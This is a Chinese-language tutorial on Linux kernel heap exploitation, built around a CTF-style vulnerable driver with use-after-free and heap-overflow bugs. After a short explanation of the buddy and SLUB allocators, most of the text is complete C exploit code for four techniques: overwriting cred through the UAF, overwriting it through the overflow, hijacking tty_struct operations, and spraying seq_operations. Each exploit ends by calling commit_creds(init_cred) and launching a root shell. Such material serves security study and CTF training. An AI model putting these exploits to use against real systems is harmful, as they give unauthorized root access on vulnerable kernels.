Linux kernel 堆溢出利用方法

前言

本文还是用一道例题来讲解几种内核堆利用方法，内核堆利用手段比较多，可能会分三期左右写。进行内核堆利用前，可以先了解一下内核堆的基本概念，当然更好去找一些详细的内核堆的基础知识。

概述

Linux kernel 将内存分为 页（page）→区（zone）→节点（node） 三级结构，主要有两个内存管理器—— buddy system 与 slub allocator，前者负责以内存页为粒度管理所有可用的物理内存，后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象（object）以进行细粒度的内存管理。

page-zone-node

budy system

buddy system 以 page 为粒度管理着所有的物理内存，在每个 zone 结构体中都有一个 free_area 结构体数组，用以存储 buddy system 按照 order 管理的页面:

分配：
- 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐，之后从对应的下标取出连续内存页。
- 若对应下标链表为空，则会从下一个 order 中取出内存页，一分为二，装载到当前下标对应链表中，之后再返还给上层调用，若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
释放：
- 将对应的连续内存页释放到对应的链表上。
- 检索是否有可以合并的内存页，若有，则进行合成，放入更高 order 的链表中。

zone_struct

slub allocator

slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。

分配：
- 首先从 kmem_cache_cpu 上取对象，若有则直接返回。
- 若 kmem_cache_cpu 上的 slub 已经无空闲对象了，对应 slub 会被从 kmem_cache_cpu 上取下，并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上，然后再取出空闲对象返回。
- 若 kmem_cache_node 的 partial 链表也空了，那就向 buddy system 请求分配新的内存页，划分为多个 object 之后再给到 kmem_cache_cpu，取空闲对象返回上层调用。
释放：
- 若被释放 object 属于 kmem_cache_cpu 的 slub，直接使用头插法插入当前 CPU slub 的 freelist。
- 若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub，直接使用头插法插入对应 slub 的 freelist。
- 若被释放 object 为 full slub，则其会成为对应 slub 的 freelist 头节点，且该 slub 会被放置到 partial 链表。

slub_allocator
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heap_bof

题目分析

题目给了源码，存在UAF和heap overflow两种漏洞。内核版本为4.4.27

#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>

struct class *bof_class;
struct cdev cdev;

int bof_major = 256;
char *ptr[40];// 指针数组，用于存放分配的指针
struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    unsigned long idx;// 表示 ptr 数组的 索引
};

long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    struct param p_arg;
    copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
    long retval = 0;
    switch (cmd) {
        case 9:
            copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
            printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
            break;
        case 8:
            copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
            break;
        case 7:
            kfree(ptr[p_arg.idx]);
            printk("free: 0x%p\n", ptr[p_arg.idx]);
            break;
        case 5:
            ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
            printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
            break;
        default:
            retval = -1;
            break;
    }
    return retval;
}

static const struct file_operations bof_fops = {
        .owner = THIS_MODULE,
        .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};

static int bof_init(void) {
    //设备号
    dev_t devno = MKDEV(bof_major, 0);
    int result;
    if (bof_major)//静态分配设备号
        result = register_chrdev_region(devno, 1, "bof");
    else {//动态分配设备号
        result = alloc_chrdev_region(&devno, 0, 1, "bof");
        bof_major = MAJOR(devno);
    }
    printk("bof_major /dev/bof: %d\n", bof_major);
    if (result < 0) return result;
    bof_class = class_create(THIS_MODULE, "bof");
    device_create(bof_class, NULL, devno, NULL, "bof");
    cdev_init(&cdev, &bof_fops);
    cdev.owner = THIS_MODULE;
    cdev_add(&cdev, devno, 1);
    return 0;
}

static void bof_exit(void) {
    cdev_del(&cdev);
    device_destroy(bof_class, MKDEV(bof_major, 0));
    class_destroy(bof_class);
    unregister_chrdev_region(MKDEV(bof_major, 0), 1);
    printk("bof exit success\n");
}

MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);

boot.sh

这道题是多核多线程。并且开启了smep和smap。

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.cpio \
  -kernel bzImage \
  -m 512M \
  -nographic \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  -monitor /dev/null \
  -smp cores=2,threads=2 \
  -cpu kvm64,+smep,+smap \

kernel Use After Free

利用思路

cred 结构体大小为 0xa8 ，根据 slub 分配机制，如果申请和释放大小为 0xa8（实际为 0xc0 ）的内存块，此时再开一个线程，则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    unsigned long idx;// 表示 ptr 数组的 索引
};

int main() {
    int fd = open("dev/bof", O_RDWR);
    struct param p = {0xa8, malloc(0xa8), 1};
    ioctl(fd, BOF_MALLOC, &p);
    ioctl(fd, BOF_FREE, &p);
    int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
    if (pid < 0) {
        puts("[-]fork error");
        return -1;
    }
    if (pid == 0) {
        p.buf = malloc(p.len = 0x30);
        memset(p.buf, 0, p.len);
        ioctl(fd, BOF_EDIT, &p); // 修改用户ID
        if (getuid() == 0) {
            puts("[+]root success");
            system("/bin/sh");
        } else {
            puts("[-]root failed");
        }
    } else {
        wait(NULL);
    }
    close(fd);
    return 0;
}

但是此种方法在较新版本 kernel 中已不可行，我们已无法直接分配到 cred_jar 中的 object，这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记，在 CONFIG_MEMCG_KMEM=y 时（默认开启）cred_jar 不会再与相同大小的 kmalloc-192 进行合并。

// kernel version == 4.4.72
void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
				     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
	/* allocate a slab in which we can store credentials */
	cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
			SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

heap overflow

溢出修改 cred ，和前面 UAF 修改 cred 一样，在新版本失效。多核堆块难免会乱序，溢出之前记得多申请一些0xc0大小的obj，因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。

利用思路

多申请几个0xa8大小的内存块，将原有混乱的freelist 变为地址连续的 freelist。
利用堆溢出，修改被重新申请作为cred的ptr[5]凭证区为0。

exp

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>

struct param {
    size_t len;    // 内容长度
    char *buf;     // 用户态缓冲区地址
    long long idx; // 表示 ptr 数组的 索引
};

const int BOF_NUM = 10;

int main(void) {
    int bof_fd = open("/dev/bof", O_RDWR);
    if (bof_fd == -1) {
        puts("[-] Failed to open bof device.");
        exit(-1);
    }

    struct param p = {0xa8, malloc(0xa8), 0};

    // 让驱动分配 0x40 个 0xa8  的内存块
    for (int i = 0; i < 0x40; i++) {
        ioctl(bof_fd, 5, &p);  // malloc
    }
    puts("[*] clear heap done");

    // 让驱动分配 10 个 0xa8  的内存块
    for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
        ioctl(bof_fd, 5, &p);  // malloc
    }
    p.idx = 5;
    ioctl(bof_fd, 7, &p); // free

    // 调用 fork 分配一个 cred结构体
    int pid = fork();
    if (pid < 0) {
        puts("[-] fork error");
        exit(-1);
    }

    // 此时 ptr[4] 和 cred相邻
    // 溢出 修改 cred 实现提权
    p.idx = 4, p.len = 0xc0 + 0x30;
    memset(p.buf, 0, p.len);
    ioctl(bof_fd, 8, &p);
    if (!pid) {
        //一直到egid及其之前的都变为了0，这个时候就已经会被认为是root了
        size_t uid = getuid();
        printf("[*] uid: %zx\n", uid);
        if (!uid) {
            puts("[+] root success");
            // 权限修改完毕，启动一个shell，就是root的shell了
            system("/bin/sh");
        } else {
            puts("[-] root fail");
        }
    } else {
        wait(0);
    }
    return 0;
}

tty_struct 劫持

boot.sh

这道题gadget较少，我们就关了smep保护。

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.img \
  -kernel bzImage \
  -m 512M \
  -nographic \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  -monitor /dev/null \
  -s \
  -cpu kvm64 \
  -smp cores=1,threads=1 \
  --nographic

利用思路

在 /dev 下有一个伪终端设备 ptmx ，在我们打开这个设备时内核中会创建一个 tty_struct 结构体，

ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
  -> alloc_tty_struct (drivers/tty/tty_io.c)

tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项（64bit 下位于结构体偏移 0x18 处）指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401

// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC        0x5401
struct tty_struct {
    ...
	const struct tty_operations *ops;
	...
}
struct tty_operations {
    ...
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
    ...
};

使用 tty 设备的前提是挂载了 ptmx 设备。

mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx

所以我们只需要劫持 tty_ops 的某个可触发的操作即可，将其劫持到 get_root 函数处。

exp

#include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
size_t init_cred = 0xFFFFFFFF81E496C0;

void get_shell()
{
    system("/bin/sh");
}

unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;

void save_status() {
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}

size_t kernel_offset;

void get_root() {
    // 通过栈上残留地址来绕过 KASLR
    __asm__(
        "mov rbx, [rsp + 8];"
        "mov kernel_offset, rbx;"
    );
    kernel_offset -= 0xffffffff814f604f;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
        "swapgs;"
        "push user_ss;"
        "push user_rsp;"
        "push user_rflags;"
        "push user_cs;"
        "push user_rip;"
        "iretq;"
    );
}

struct param {
    size_t len;    // 内容长度
    char *buf;     // 用户态缓冲区地址
    long long idx; // 表示 ptr 数组的 索引
};

int main(int argc, char const *argv[])
{
    save_status();

    size_t fake_tty_ops[] = {
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
        get_root
    };

    // len buf idx
    struct param p = {0x2e0, malloc(0x2e0), 0};
    printf("[*]p_addr==>%p\n", &p);

    int bof_fd = open("/dev/bof", O_RDWR);

    p.len = 0x2e0;
    ioctl(bof_fd, BOF_MALLOC, &p);
    memset(p.buf, '\xff', 0x2e0);
    ioctl(bof_fd, BOF_EDIT, &p);
    ioctl(bof_fd, BOF_FREE, &p);

    int ptmx_fd = open("/dev/ptmx", O_RDWR);

    p.len = 0x20;
    ioctl(bof_fd, BOF_READ, &p);
    printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
    printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);

    *(size_t *)&p.buf[0x18] = &fake_tty_ops;
    ioctl(bof_fd, BOF_EDIT, &p);

    ioctl(ptmx_fd, 0, 0);
    

	return 0;
}

seq_operations 劫持

boot.sh

#!/bin/bash

qemu-system-x86_64 \
  -initrd rootfs.img \
  -kernel bzImage \
  -m 512M \
  -nographic \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  -monitor /dev/null \
  -s \
  -cpu kvm64 \
  -smp cores=1,threads=1 \
  --nographic

利用思路

seq_operations 结构如下，该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。

ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
	struct seq_file *m = file->private_data;
	...
	p = m->op->start(m, &pos);
	...

当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP，SMAP 和 KPTI 保护，因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。

exp

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>

struct param {
    size_t len;       // 内容长度
    char *buf;        // 用户态缓冲区地址
    long long idx;// 表示 ptr 数组的 索引
};

const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9


void get_shell() { 
    system("/bin/sh"); 
}

size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;

void *init_cred = (void *) 0xFFFFFFFF81E496C0;

size_t kernel_offset;

void get_root() {
    // 通过栈上的残留值绕过KASLR。
    __asm__(
        "mov rax, [rsp + 8];"
        "mov kernel_offset, rax;"
    );
    kernel_offset -= 0xffffffff81229378;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
        "swapgs;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push user_rip;"
        "iretq;"
    );
}

int main() {
    save_status();

    int bof_fd = open("dev/bof", O_RDWR);
    if (bof_fd < 0) {
        puts("[-] Failed to open bof.");
        exit(-1);
    }

    struct param p = {0x20, malloc(0x20), 0};
    for (int i = 0; i < 0x40; i++) {
        ioctl(bof_fd, BOF_MALLOC, &p);
    }
    memset(p.buf, '\xff', p.len);
    ioctl(bof_fd, BOF_EDIT, &p);
    // 大量喷洒 seq_ops 结构体。
    int seq_fd[SEQ_NUM];
    for (int i = 0; i < SEQ_NUM; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
        if (seq_fd[i] < 0) {
            puts("[-] Failed to open stat.");
        }
    }
    puts("[*] seq_operations spray finished.");
	
    // 通过溢出，将附近 seq_ops 的指针修改为 get_root地址。
    p.len = DATA_SIZE;
    p.buf = malloc(DATA_SIZE);
    p.idx = 0;
    for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
        *(size_t *) &p.buf[i] = (size_t) get_root;
    }
    ioctl(bof_fd, BOF_EDIT, &p);
    puts("[*] Heap overflow finished.");

    for (int i = 0; i < SEQ_NUM; i++) {
        read(seq_fd[i], p.buf, 1);
    }

    return 0;
}